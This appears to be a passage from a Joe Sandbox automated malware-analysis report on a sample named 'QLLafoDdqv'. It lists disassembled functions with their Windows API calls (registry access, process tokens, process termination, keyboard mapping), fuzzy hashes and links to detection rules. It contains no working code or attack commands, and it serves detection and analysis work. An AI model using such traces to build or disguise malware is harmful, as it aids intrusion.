Instruction ID: 8b64dd50df4397370da4e6f25fc985e084d4730df93016cf20860a7b9b143cdd
Opcode Fuzzy Hash: af83f7516c0654e0fecd1d957314104961cf34eb2aa30535d4abe13ed594feda
Instruction Fuzzy Hash: EC51AF72600216EBEB258F64CC95EBFB6E9EB44754F144729F905D61C1DB38DC60C6A0

Function 0075BBDB Relevance: 9.2, APIs: 6, Instructions: 191registryCOMMON

Download Yara Rule

APIs

Part of subcall function 006D9CB3: _wcslen.LIBCMT ref: 006D9CBD

Part of subcall function 0075C998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0075B6AE,?,?), ref: 0075C9B5
Part of subcall function 0075C998: _wcslen.LIBCMT ref: 0075C9F1
Part of subcall function 0075C998: _wcslen.LIBCMT ref: 0075CA68
Part of subcall function 0075C998: _wcslen.LIBCMT ref: 0075CA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0075BCCA
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0075BD25
RegCloseKey.ADVAPI32(00000000), ref: 0075BD6A
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 0075BD99
RegCloseKey.ADVAPI32(?,?,00000000), ref: 0075BDF3
RegCloseKey.ADVAPI32(?), ref: 0075BDFF

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpperValue
String ID:
API String ID: 1120388591-0
Opcode ID: 72d3be956a6dcb29cf7800ed012f30b065f1ce44b8ed705b134658b1b2ea3d34
Instruction ID: d2654c93a04d55d8f3bc9f8b90b4b1613de51ef239718020df0784aef7d00bc5
Opcode Fuzzy Hash: 72d3be956a6dcb29cf7800ed012f30b065f1ce44b8ed705b134658b1b2ea3d34
Instruction Fuzzy Hash: 34818C30208341AFD715DF24C895E6ABBE5FF84308F14895DF8964B2A2DB75ED09CB92

Function 0072F7AD Relevance: 9.2, APIs: 6, Instructions: 183memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000035), ref: 0072F7B9
SysAllocString.OLEAUT32(00000001), ref: 0072F860
VariantCopy.OLEAUT32(0072FA64,00000000), ref: 0072F889
VariantClear.OLEAUT32(0072FA64), ref: 0072F8AD
VariantCopy.OLEAUT32(0072FA64,00000000), ref: 0072F8B1
VariantClear.OLEAUT32(?), ref: 0072F8BB

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Variant$ClearCopy$AllocInitString
String ID:
API String ID: 3859894641-0
Opcode ID: cfb57628a9fb640819e94aa3dd7481cb340a5377d92fa589116c5c90239ff6bc
Instruction ID: 3fa2ff2b4617be4cf224a4d7478e514ae739d5d5904191b57e8f6754f3a75f48
Opcode Fuzzy Hash: cfb57628a9fb640819e94aa3dd7481cb340a5377d92fa589116c5c90239ff6bc
Instruction Fuzzy Hash: BB51D631501320FBCF10AB65E895B39B7B5EF45310B20947BE846DF295DB789C80CB6A

Function 0074910C Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 383COMMON

Download Yara Rule

APIs

Part of subcall function 006D7620: _wcslen.LIBCMT ref: 006D7625

Part of subcall function 006D6B57: _wcslen.LIBCMT ref: 006D6B6A

GetOpenFileNameW.COMDLG32(00000058), ref: 007494E5
_wcslen.LIBCMT ref: 00749506
_wcslen.LIBCMT ref: 0074952D
GetSaveFileNameW.COMDLG32(00000058), ref: 00749585

Strings

X, xrefs: 00749412

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: _wcslen$FileName$OpenSave
String ID: X
API String ID: 83654149-3081909835
Opcode ID: 8689acf0d6bac31f38d9da69065c90ae8cf3804fd9597974857a7527f00f3229
Instruction ID: 850dce11c78de4b7de1c64a23cf7f15604053cf3f47aa04a0c535898a727285d
Opcode Fuzzy Hash: 8689acf0d6bac31f38d9da69065c90ae8cf3804fd9597974857a7527f00f3229
Instruction Fuzzy Hash: CDE1AE31A083409FC764DF24C881A6BB7E1BF85314F14896DF9899B3A2EB35DD05CB96

Function 006E920C Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 006E9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 006E9BB2

BeginPaint.USER32(?,?,?), ref: 006E9241
GetWindowRect.USER32(?,?), ref: 006E92A5
ScreenToClient.USER32(?,?), ref: 006E92C2
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 006E92D3
EndPaint.USER32(?,?,?,?,?), ref: 006E9321
Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 007271EA

Part of subcall function 006E9339: BeginPath.GDI32(00000000), ref: 006E9357

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: BeginPaintWindow$ClientLongPathRectRectangleScreenViewport
String ID:
API String ID: 3050599898-0
Opcode ID: 38ea0b68587e41847d58a21dbd254755bf241000b0f46e1f5c7ee1a16015cdea
Instruction ID: 406f56c88ab487128e234f3c1157ec71c64a1cf9239508a59b34d8c4eb5b0573
Opcode Fuzzy Hash: 38ea0b68587e41847d58a21dbd254755bf241000b0f46e1f5c7ee1a16015cdea
Instruction Fuzzy Hash: 7941E030105340AFE711DF25DC84FBB7BA9EF86320F104229FAA5872E1C774A845DB66

Function 007407EF Relevance: 9.1, APIs: 6, Instructions: 107fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 0074080C
ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 00740847
EnterCriticalSection.KERNEL32(?), ref: 00740863
LeaveCriticalSection.KERNEL32(?), ref: 007408DC
ReadFile.KERNEL32(?,?,0000FFFF,00000000,00000000), ref: 007408F3
InterlockedExchange.KERNEL32(?,000001F6), ref: 00740921

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection$EnterLeave
String ID:
API String ID: 3368777196-0
Opcode ID: a8335e4c86517027f223620b37c6711a4ae58d348f5b3d6f065f9843ec3fde23
Instruction ID: 176038c1395d604e9a5befa5a508e98b62bc0755d1b71423d633178c50660099
Opcode Fuzzy Hash: a8335e4c86517027f223620b37c6711a4ae58d348f5b3d6f065f9843ec3fde23
Instruction Fuzzy Hash: 28419C71900205EFEF05AF54DC85A6A7779FF04300F1080A9EE00AA297DB74EE65DBA8

Function 007681DB Relevance: 9.1, APIs: 6, Instructions: 104windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,00000000,?,00000000,00000000,?,0072F3AB,00000000,?,?,00000000,?,0072682C,00000004,00000000,00000000), ref: 0076824C
EnableWindow.USER32(00000000,00000000), ref: 00768272
ShowWindow.USER32(FFFFFFFF,00000000), ref: 007682D1
ShowWindow.USER32(00000000,00000004), ref: 007682E5
EnableWindow.USER32(00000000,00000001), ref: 0076830B
SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 0076832F

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: 2ac1a5c29f5fe90d9aac1d4f4f798fbe6ce6075ddb300de8d99bb6ea6498d3be
Instruction ID: 496c3847ef0e472e8fc63a7f21895a7a5a06340e9cf15d6852dc64cdd15b8fdd
Opcode Fuzzy Hash: 2ac1a5c29f5fe90d9aac1d4f4f798fbe6ce6075ddb300de8d99bb6ea6498d3be
Instruction Fuzzy Hash: 7241E830601640EFDB56CF15C8A9BE87BE0FB46714F1843A9E94A4F272CB39A841CB46

Function 00734C7D Relevance: 9.1, APIs: 6, Instructions: 87windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00734C95
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00734CB2
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00734CEA
_wcslen.LIBCMT ref: 00734D08
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00734D10
_wcsstr.LIBVCRUNTIME ref: 00734D1A

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcslen_wcsstr
String ID:
API String ID: 72514467-0
Opcode ID: c6f299c3a6a5714df1f7c775347e62be22133b050a1753b64e178597bc7d7c19
Instruction ID: 652acf3116213d61dedf365a65aee826ed49ec27f3cca9cf57ff2e2045c466d2
Opcode Fuzzy Hash: c6f299c3a6a5714df1f7c775347e62be22133b050a1753b64e178597bc7d7c19
Instruction Fuzzy Hash: B2212932305304BBFB195B35EC09E7B7B9DDF45750F10806DF905CA192EEA9EC0086A4

Function 0074581E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 336comCOMMON

Download Yara Rule

APIs

Part of subcall function 006D3AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,006D3A97,?,?,006D2E7F,?,?,?,00000000), ref: 006D3AC2

_wcslen.LIBCMT ref: 0074587B
CoInitialize.OLE32(00000000), ref: 00745995
CoCreateInstance.OLE32(0076FCF8,00000000,00000001,0076FB68,?), ref: 007459AE
CoUninitialize.OLE32 ref: 007459CC

Strings

.lnk, xrefs: 00745876, 007458C1, 00745985

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize_wcslen
String ID: .lnk
API String ID: 3172280962-24824748
Opcode ID: c94bdcb5356e88c5c068ab8dba1a093f5b7c3958d45d01a1fe4b443b555559cf
Instruction ID: 34272237e39419d327b684f75dea15cc4c646b881185779a39875e0e21873e5a
Opcode Fuzzy Hash: c94bdcb5356e88c5c068ab8dba1a093f5b7c3958d45d01a1fe4b443b555559cf
Instruction Fuzzy Hash: 7ED143B1A08701DFC714DF24C48492ABBE6EF89710F14895DF88A9B362DB35EC45CB92

Function 0073175D Relevance: 9.1, APIs: 6, Instructions: 68memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00730FB4: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00730FCA
Part of subcall function 00730FB4: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00730FD6
Part of subcall function 00730FB4: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00730FE5
Part of subcall function 00730FB4: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00730FEC
Part of subcall function 00730FB4: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00731002

GetLengthSid.ADVAPI32(?,00000000,00731335), ref: 007317AE
GetProcessHeap.KERNEL32(00000008,00000000), ref: 007317BA
HeapAlloc.KERNEL32(00000000), ref: 007317C1
CopySid.ADVAPI32(00000000,00000000,?), ref: 007317DA
GetProcessHeap.KERNEL32(00000000,00000000,00731335), ref: 007317EE
HeapFree.KERNEL32(00000000), ref: 007317F5

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: ef3157d1178847a0f2e254d23b2e48c8bef6dc1568ed7cfab561c10aea7ddfd2
Instruction ID: ce9f4102562c6a17b14b863ccf99e89bef7022874a9e246e2233330f1cbae1e7
Opcode Fuzzy Hash: ef3157d1178847a0f2e254d23b2e48c8bef6dc1568ed7cfab561c10aea7ddfd2
Instruction Fuzzy Hash: FC11BE71500205FFEB259FA4CC49BBE7BA9EB42355F588018F48297212D77AAD44CB70

Function 007314CE Relevance: 9.1, APIs: 6, Instructions: 64processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 007314FF
OpenProcessToken.ADVAPI32(00000000), ref: 00731506
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00731515
CloseHandle.KERNEL32(00000004), ref: 00731520
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 0073154F
DestroyEnvironmentBlock.USERENV(00000000), ref: 00731563

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: 30ace8396ff4b67202ace4f4f5582e1ac98434b35af4cc632e69d70966ce7b31
Instruction ID: 7752e96556bf7098752836b9a4189164ee6656ee30418db30c411410b39aff72
Opcode Fuzzy Hash: 30ace8396ff4b67202ace4f4f5582e1ac98434b35af4cc632e69d70966ce7b31
Instruction Fuzzy Hash: E9116A7250024DEBEF128F98DD49FEE7BA9EF48744F048015FA06A2160C3B9CE60DB60

Function 006F3382 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,006F3379,006F2FE5), ref: 006F3390
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 006F339E
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 006F33B7
SetLastError.KERNEL32(00000000,?,006F3379,006F2FE5), ref: 006F3409

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 5e8d5aa230d56d240fcb7788c7ad66c8a91b4fbc19379eb3681a03ceac465f8e
Instruction ID: 9529aa9e34b84ad00dae042c4f8f1d4d761b0bd74a4551f670112d56e64e3996
Opcode Fuzzy Hash: 5e8d5aa230d56d240fcb7788c7ad66c8a91b4fbc19379eb3681a03ceac465f8e
Instruction Fuzzy Hash: 35012433208339BEAA2627787C85AB72A96EB15379B20422EF710C43F0EF554D12514C

Function 00702D74 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00705686,00713CD6,?,00000000,?,00705B6A,?,?,?,?,?,006FE6D1,?,00798A48), ref: 00702D78
_free.LIBCMT ref: 00702DAB
_free.LIBCMT ref: 00702DD3
SetLastError.KERNEL32(00000000,?,?,?,?,006FE6D1,?,00798A48,00000010,006D4F4A,?,?,00000000,00713CD6), ref: 00702DE0
SetLastError.KERNEL32(00000000,?,?,?,?,006FE6D1,?,00798A48,00000010,006D4F4A,?,?,00000000,00713CD6), ref: 00702DEC
_abort.LIBCMT ref: 00702DF2

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 1bf2c61ca496c118ac84d8d4ab22444a04b3b128eba0b0ea8065ae74983b2727
Instruction ID: 6cfdca0e940aa55a786ef650f56660886d82423e6a7976676cc39de376e08ec3
Opcode Fuzzy Hash: 1bf2c61ca496c118ac84d8d4ab22444a04b3b128eba0b0ea8065ae74983b2727
Instruction Fuzzy Hash: 40F0A477644600F7C6137735AC0EA2A26D9AFC27A5B358719F825922E3EE6C9C034165

Function 00768A24 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 006E9639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 006E9693
Part of subcall function 006E9639: SelectObject.GDI32(?,00000000), ref: 006E96A2
Part of subcall function 006E9639: BeginPath.GDI32(?), ref: 006E96B9
Part of subcall function 006E9639: SelectObject.GDI32(?,00000000), ref: 006E96E2

MoveToEx.GDI32(?,-00000002,00000000,00000000), ref: 00768A4E
LineTo.GDI32(?,00000003,00000000), ref: 00768A62
MoveToEx.GDI32(?,00000000,-00000002,00000000), ref: 00768A70
LineTo.GDI32(?,00000000,00000003), ref: 00768A80
EndPath.GDI32(?), ref: 00768A90
StrokePath.GDI32(?), ref: 00768AA0

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: f550b3b9478693dd57922e8204f6d2f56b350bbdddb44621cd323f9a5b4d8501
Instruction ID: 52592dd170973d18b7b48f2c46c376cab8ae405443b3a318e06d09a373665f71
Opcode Fuzzy Hash: f550b3b9478693dd57922e8204f6d2f56b350bbdddb44621cd323f9a5b4d8501
Instruction Fuzzy Hash: 6011FA7600024CFFEB129F94DC48EAA7F6DEB08350F00C012FA5699161C7759D55DBA4

Function 007351FD Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00735218
GetDeviceCaps.GDI32(00000000,00000058), ref: 00735229
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00735230
ReleaseDC.USER32(00000000,00000000), ref: 00735238
MulDiv.KERNEL32(000009EC,?,00000000), ref: 0073524F
MulDiv.KERNEL32(000009EC,00000001,?), ref: 00735261

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 76eabd7d5670af19740b4cf0828191f4f75e8da2679fba080eb5bd5d5bf2d6e3
Instruction ID: 2e758272dbe18e8a85b09aafdbf5d1e91300496cf326e1cbe9440c3b58ecdc2d
Opcode Fuzzy Hash: 76eabd7d5670af19740b4cf0828191f4f75e8da2679fba080eb5bd5d5bf2d6e3
Instruction Fuzzy Hash: 65018FB5A00718BBEB119BA5DC49A5EBFB8FB48351F048066FA05A7281D6B49800CBA4

Function 006D1BC3 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 006D1BF4
MapVirtualKeyW.USER32(00000010,00000000), ref: 006D1BFC
MapVirtualKeyW.USER32(000000A0,00000000), ref: 006D1C07
MapVirtualKeyW.USER32(000000A1,00000000), ref: 006D1C12
MapVirtualKeyW.USER32(00000011,00000000), ref: 006D1C1A
MapVirtualKeyW.USER32(00000012,00000000), ref: 006D1C22

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: f8f573ff264a3accc1374b1108628eac8e54e81d8ab5dede308f89756a343562
Instruction ID: 04f8397cd30ee4ca6652d0ca47f51ccfab23aec15ea65f99ff32b51637731597
Opcode Fuzzy Hash: f8f573ff264a3accc1374b1108628eac8e54e81d8ab5dede308f89756a343562
Instruction Fuzzy Hash: B50148B090275A7DE3008F5A8C85A52FEA8FF19354F00415B915C47941C7F5A864CBE5

Function 0073EB20 Relevance: 9.0, APIs: 6, Instructions: 42windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 0073EB30
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 0073EB46
GetWindowThreadProcessId.USER32(?,?), ref: 0073EB55
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0073EB64
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0073EB6E
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0073EB75

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

